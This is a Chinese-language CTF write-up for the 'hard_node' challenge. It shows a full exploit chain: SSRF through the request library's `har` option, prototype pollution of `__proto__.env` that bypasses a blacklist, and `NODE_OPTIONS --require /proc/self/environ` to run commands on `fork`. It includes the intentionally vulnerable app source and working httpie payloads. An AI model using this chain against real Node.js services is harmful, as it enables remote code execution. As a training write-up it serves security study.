Node 从8.0 开始支持 NODE_OPTIONS，而 Node 的参数中有一项名为 --require，可以加载执行一段 JavaScript 代码。这就是一切的起源。
当 NODE_OPTIONS 遇到 fork
我们先来看一下 child_process.fork 的源码：
function fork(modulePath /* , args, options */) {
validateString(modulePath, 'modulePath');
// Get options and args arguments.
let execArgv;
let options = {};
let args = [];
let pos = 1;
if (pos < arguments.length && ArrayIsArray(arguments[pos])) {
args = arguments[pos++];
}
if (pos < arguments.length &&
(arguments[pos] === undefined || arguments[pos] === null)) {
pos++;
}
if (pos < arguments.length && arguments[pos] != null) {
if (typeof arguments[pos] !== 'object') {
throw new ERR_INVALID_ARG_VALUE(`arguments[${pos}]`, arguments[pos]);
}
options = { ...arguments[pos++] };
}
// Prepare arguments for fork:
execArgv = options.execArgv || process.execArgv;
if (execArgv === process.execArgv && process._eval != null) {
const index = execArgv.lastIndexOf(process._eval);
if (index > 0) {
// Remove the -e switch to avoid fork bombing ourselves.
execArgv = execArgv.slice();
execArgv.splice(index - 1, 2);
}
}
args = execArgv.concat([modulePath], args);
if (typeof options.stdio === 'string') {
options.stdio = stdioStringToArray(options.stdio, 'ipc');
} else if (!ArrayIsArray(options.stdio)) {
// Use a separate fd=3 for the IPC channel. Inherit stdin, stdout,
// and stderr from the parent if silent isn't set.
options.stdio = stdioStringToArray(
options.silent ? 'pipe' : 'inherit',
'ipc');
} else if (!options.stdio.includes('ipc')) {
throw new ERR_CHILD_PROCESS_IPC_REQUIRED('options.stdio');
}
options.execPath = options.execPath || process.execPath;
options.shell = false;
return spawn(options.execPath, args, options);
}
看到第 52 行。当 options 中没有 execPath 中，fork 会尝试使用 process.execPath，也就是 node 本身。如果我们还可以控制 options.env，那就可以在 fork 执行之前先执行一段我们想要执行的代码。
原型链注入
原型链注入是老生长谈的 Node 安全漏洞了。这次，我们需要通过它写入 env，以在 fork 时传入环境变量。
通过注入 __proto__.env，向其中写入：
{
"NODE_OPTIONS": "--require path/to/file.js"
}
我们就可以执行对应的 JavaScript 了。那如果不能借助文件，我们又该怎么办呢？
/proc
通过 /proc/self/environ，我们可以读取当前的环境变量。于是，我们就可以通过将代码写到环境变量里，达到执行任意代码的目的。我们将上面的 payload 修改成下面的形式：
{
"AAAA": "console.log("2333")//",
"NODE_OPTIONS": "--require /proc/self/environ"
}
就可以在 fork 之前向控制台打印出 2333 了。这里的 AAAA 是为了让这条环境变量在 /proc/self/environ 中能显示在最前，而后面的 // 则是为了注释掉之后的内容，防止执行出现问题。AAAA 和 // 的配合使得只有我们希望的代码被执行，提高了破坏力。
实战
这题据 CTFHub 说是 2020 第五空间决赛的 Web 题，名字是 hard_node，在 CTFHub 上可以找到。但 CTFHub 上没给源码，所以这里附一下源码。
// app.js
const express = require('express');
const bodyParser = require('body-parser');
const proc = require('child_process');
const request = require('request');
const ip = require("ip");
const manage = require("./manage.js");
const path = require('path');
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, 'public')));
//stop hackers
const disallowedKeys = [
'__proto__',
'prototype',
'constructor',
'eval','proccess','root','global','exec','!','fs'
];
function isValidPath(segment){
disallowedKeys.forEach(evilWord => {
if(segment.toString().indexOf(evilWord)!==-1){
return false
}
});
return true;
}
app.post('/add', (req, res) => {
let ip = req.ip;
console.log(ip.m);
if (ip.substr(0, 7) == "::ffff:") {
ip = ip.substr(7)
}
console.log(`method:${req.method},serverip:${server_ip},ip:${ip}`);
if (ip != '127.0.0.1' && ip != server_ip) {
res.status(403).send('Not Edit from Local!');
}else{
if(req.body.userName && req.body.nameVal){
let username = req.body.userName;
let nameVal = req.body.nameVal;
if (!isValidPath(username) || !isValidPath(nameVal)) {
username = 'username';
nameVal = 'guest';
}
manage.set(object, username, nameVal);
console.log(ip.k);
console.log(object);
res.send(`
<h1>Edit Success</h1>
<a href="/admin">View Admin Page</a>`)
}else{
res.send('param error');
}
}
});
app.get('/admin',(req,res)=>{
if(manage.get(object,'username','guest') === 'admin'){
console.log('Current User:'+object.username)
const child = proc.fork(`${__dirname}/public/user.js`,['admin']);
child.on('message', (body) => {
res.status(200).send(body);
});
child.on('close', (code, signal) => {
console.log(`subproccess ended with ${signal}`);
});
}else{
res.status(403).send('Only Admin Can View this');
}
})
app.get('/getContent',(req,res)=>{
res.sendfile(`${__dirname}/public/guest.html`);
})
app.get('/', (req,res) => {
// console.log(req.body)
let uri = req.query.url? req.query.url: 'http://127.0.0.1:3000/getContent';
console.log(uri)
try{
request.get(uri,(err,response,data)=>{
if (!err && response.statusCode == 200) {
res.send(data);
}else{
console.log(err);
}
})
}catch(e){
console.log(e);
}finally{
console.log('Make Server Continue Running');
}
});
var object = {username:'guest'};
var server_ip = ip.address();
app.listen(3002);
console.log(`${server_ip} is starting at port 3000`)
// manage.js
const isObj = require('is-obj');
var manage = {
getPathSegments: function(path) {
const pathArray = path.split('.');
const parts = [];
for (let i = 0; i < pathArray.length; i++) {
let p = pathArray[i];
while (p[p.length - 1] === '\\' && pathArray[i + 1] !== undefined) {
p = p.slice(0, -1);
p += pathArray[++i];
}
parts.push(p);
}
return parts;
},
get: function(object, path, value) {
if (!isObj(object) || typeof path !== 'string') {
return value === undefined ? object : value;
}
const pathArray = this.getPathSegments(path);
for (let i = 0; i < pathArray.length; i++) {
if (!Object.prototype.propertyIsEnumerable.call(object, pathArray[i])) {
return value;
}
object = object[pathArray[i]];
if (object === undefined || object === null) {
if (i !== pathArray.length - 1) {
return value;
}
break;
}
}
return object;
},
set: function(object, path, value) {
Object.keys(Object.prototype).forEach(function(Val){
if(!Object.hasOwnProperty(Val)){
delete Object.prototype[Val];
console.log(`${Val} is delete`);
}
})
if (!isObj(object) || typeof path !== 'string') {
return object;
}
const root = object;
const pathArray = this.getPathSegments(path);
for (let i = 0; i < pathArray.length; i++) {
const p = pathArray[i];
if (!isObj(object[p])) {
object[p] = {};
}
if (i === pathArray.length - 1) {
object[p] = value;
}
object = object[p];
}
return root;
}
}
module.exports = manage
可以看到，manager.js 中 set 存在明显的原型链注入，而通过 getPathSegments 又可以以 \\. 的方式绕过黑名单的检测。
我们发现，修改信息只能通过 /add 进行，这里有一个内网限定访问，可以使用 request 的 har 来实现：
http --follow --timeout 3600 GET challenge-9a9f71099ac1a765.sandbox.ctfhub.com:10080/ 'url[har][method]'=='POST' 'url[har][url]'=='http://127.0.0.1/add' 'url[har][postData]'=='{"userName": "username", "nameVal": "admin"}' 'url[har][postData][mimeType]'=='application/json'
然后执行写入要执行的代码：
http --follow --timeout 3600 GET challenge-9a9f71099ac1a765.sandbox.ctfhub.com:10080/ 'url[har][method]'=='POST' 'url[har][url]'=='http://127.0.0.1/add' 'url[har][postData]'=='{"userName": "__pr\\\\.oto__.env", "nameVal": {"A": "process.send(require('\''child_process'\'').execSync('\''cat /flag'\''))//", "NODE_OPTIONS": "--require /proc/self/environ"}}' 'url[har][postData][mimeType]'=='application/json'
最后访问 /admin 就可以了。
（最后从 CTFHub 上把源码偷下来了：https://drive.google.com/file/d/1z6zT48OI7zeUjWwIJvma66_2ZGIMz1M2/view?usp=sharing